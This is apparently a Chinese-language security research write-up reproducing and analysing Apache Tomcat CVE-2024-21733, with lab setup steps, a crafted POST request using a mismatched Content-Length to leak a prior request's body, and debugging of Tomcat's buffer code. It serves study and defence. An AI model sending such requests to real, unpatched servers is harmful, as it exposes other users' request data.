- 异常是怎么产生的
- 怎么构造exp是最佳实践
- 异常抛出的信息是哪里来的
Apache Tomcat 8.5.7 to 8.5.63
-
在受影响的版本中, Coyote.Http11InputBuffer.fill 在抛出 CloseNowException 异常后没有重置缓冲区的 position 和 limit ,导致服务端可能可以获取另一个用户的请求数据。可以通过构造特定请求,在异常页面中输出其他请求的 body 数据。修复版本中通过增加finally代码块,保证默认会重设缓冲区position和limit到一致的状态。 -
Client-side de-sync (CSD) vulnerabilities occur when a web server fails to correctly process the Content-Length of POST requests. By exploiting this behavior, an attacker can force a victim's browser to de-synchronize its connection with the website, causing sensitive data to be smuggled from the server and/or client connections.
set JAVA_TOOL_OPTIONS="-Duser.language=en"
set CATALINA_HOME=D:DevTomcatapache-tomcat-9.0.43
这两步一个是设置英文环境,另一个是设置环境变量
再写一个jsp直接丢到webapps/ROOT/下面(本人是将war包放webapps/下面)
<%
String id = request.getParameter("id");
if (id != null) {
out.println("The ID is: " + id);
} else {
out.println("No ID parameter provided.");
}
%>
开启tomcat即可
<properties>
<tomcat.version>9.0.43</tomcat.version>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>9.0.43</version>
<scope>compile</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
server.tomcat.connection-timeout=5000
server.error.include-message=always
server.error.include-binding-errors=always
server.error.include-stacktrace=always
"/CVE-2024-21733", method = RequestMethod.POST) (value =
public String cve(HttpServletRequest request) {
String age = request.getParameter("age");
return "received: " + age;
}
首先发第一个请求,记得把数据包稍微写长一些
private boolean fill(boolean block) throws IOException {
...
byteBuffer.mark();
if (byteBuffer.position() < byteBuffer.limit()) {
byteBuffer.position(byteBuffer.limit());
}
byteBuffer.limit(byteBuffer.capacity());
SocketWrapperBase<?> socketWrapper = this.wrapper;
int nRead = -1;
if (socketWrapper != null) {
nRead = socketWrapper.read(block, byteBuffer);
} else {
throw new CloseNowException(sm.getString("iib.eof.error"));
}
byteBuffer.limit(byteBuffer.position()).reset();
...
}
-
一开始根据某些安全厂商的描述,意思是在抛出CloseNowException异常后,不会执行byteBuffer.limit (byteBuffer.position()).reset();去重置position的值,这个描述不准确,实际上和这个异常没关系
虽然公开的漏洞描述没有太多参考价值,但起码我们知道是Content-Length的问题就行,在白盒看代码前,我们先黑盒玩点花样,看看细节
细节一:泄露的前一个请求的数据,好像并不全,缺了一些
细节二:请求的响应时间是5秒
漏洞产生时是因为超时异常,tomcat默认的连接超时时间是20秒,每次测试都要等这么久太烦了,所以我们在前面提到了,修改配置项server.tomcat.connection-timeout = 5000,将超时时间改为5秒,就在这里体现了
看到数据缺了一些,合理怀疑是`Content-Length`的问题,修改一下看看有什么变化
再试点别的,我们将Content-Length设置为60
于是在没看代码前,我们可以大胆推出公式(在不使用真实key-value的情况下):
len(leakage) = len(previous body) + len(actually length) + 1 -len(Content-Length)
POST /CVE-2024-21733 HTTP/1.1
Host: 192.168.3.144:8080
Sec-Ch-Ua: "Chromium";v="119", "Not?A_Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Connection: keep-alive
Content-Length: 2
Content-Type: application/x-www-form-urlencoded
x
private boolean fill(boolean block) throws IOException {
...
byteBuffer.mark();
if (byteBuffer.position() < byteBuffer.limit()) {
byteBuffer.position(byteBuffer.limit());
}
byteBuffer.limit(byteBuffer.capacity());
SocketWrapperBase<?> socketWrapper = this.wrapper;
int nRead = -1;
if (socketWrapper != null) {
nRead = socketWrapper.read(block, byteBuffer);
} else {
throw new CloseNowException(sm.getString("iib.eof.error"));
}
byteBuffer.limit(byteBuffer.position()).reset();
...
}
-
此时我发出疑问,为什么超时才触发漏洞?
`org.apache.catalina.connector.Request# parseParameters`,下个断点看看堆栈
parseParameters:3285, Request (org.apache.catalina.connector)
getParameter:1142, Request (org.apache.catalina.connector)
getParameter:381, RequestFacade (org.apache.catalina.connector)
cve:93, TestController (com.vvmdx.example.controller)
...
service:346, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:887, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1684, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:750, Thread (java.lang)
- 自己调试的时候,可以把application.properties中server.tomcat.connection-timeout=5000的值调节一下,方便调试时慢慢看,或者快点抛出异常
-
然后断点打在如下地方,可以根据异常堆栈慢慢跟
-
我们现在探索exp不同的Content-Length和真实数据包长度,对于泄露数据有什么影响?
-
这里其实就可以回答我们在尝试不同的Content-Length的值以及exp的body实际长度时,为什么会发现有时候泄露的数据会被覆盖或者丢失,正是因为此处的postData为上一次的缓存,在读入本次请求体的数据后,就会覆盖之前的数据 大致画了个示意图(不完全相同,但帮助理解)
-
接下来我们思考为什么抛出的异常堆栈会有请求体数据
1.org.apache.coyote.http11.Http11Processor#service
2.org.apache.coyote.http11.Http11InputBuffer#parseRequestLine:我们主要看这个,因为正是他抛出了请求体数据
在org.apache.coyote.http11.Http11InputBuffer# parseRequestLine 这个方法的如下代码块中
if (parsingRequestLinePhase == 2) {
//
// Reading the method name
// Method name is a token
//
boolean space = false;
while (!space) {
// Read new bytes if needed
if (byteBuffer.position() >= byteBuffer.limit()) {
if (!fill(false)) // request line parsing
return false;
}
// Spec says method name is a token followed by a single SP but
// also be tolerant of multiple SP and/or HT.
int pos = byteBuffer.position();
chr = byteBuffer.get();
if (chr == Constants.SP || chr == Constants.HT) {
space = true;
request.method().setBytes(byteBuffer.array(), parsingRequestLineStart,
pos - parsingRequestLineStart);
} else if (!HttpParser.isToken(chr)) {
// Avoid unknown protocol triggering an additional error
request.protocol().setString(Constants.HTTP_11);
String invalidMethodValue = parseInvalid(parsingRequestLineStart, byteBuffer);
throw new IllegalArgumentException(sm.getString("iib.invalidmethod", invalidMethodValue));
}
}
parsingRequestLinePhase = 3;
}
1. 检查缓冲区是否读取完毕byteBuffer.position() >= byteBuffer.limit(),是的话则调用org.apache.coyote.http11. Http11InputBuffer#fill从底层Socket继续读
2. byteBuffer逐字节读取,当读到空格或者制表符时chr == Constants.SP || chr == Constants.HT,方法名读取完毕,终止循环
3. 检查当前字节是否是http方法名合法字符!HttpParser.isToken(chr),不是的话就将byteBuffer的数据抛出为异常
2.https://hackerone.com/reports/2327341
3.https://lists.apache.org/thread/h9bjqdd0odj6lhs2o96qgowcc6hb0cfz
4.https://packetstormsecurity.com/files/176951/Apache-Tomcat-8.5.63-9.0.43-HTTP-Response-Smuggling.html
5.https://github.com/LtmThink/CVE-2024-21733/
原文始发于微信公众号(华为安全应急响应中心):Tomcat CVE-2024-21733漏洞简单复现、分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论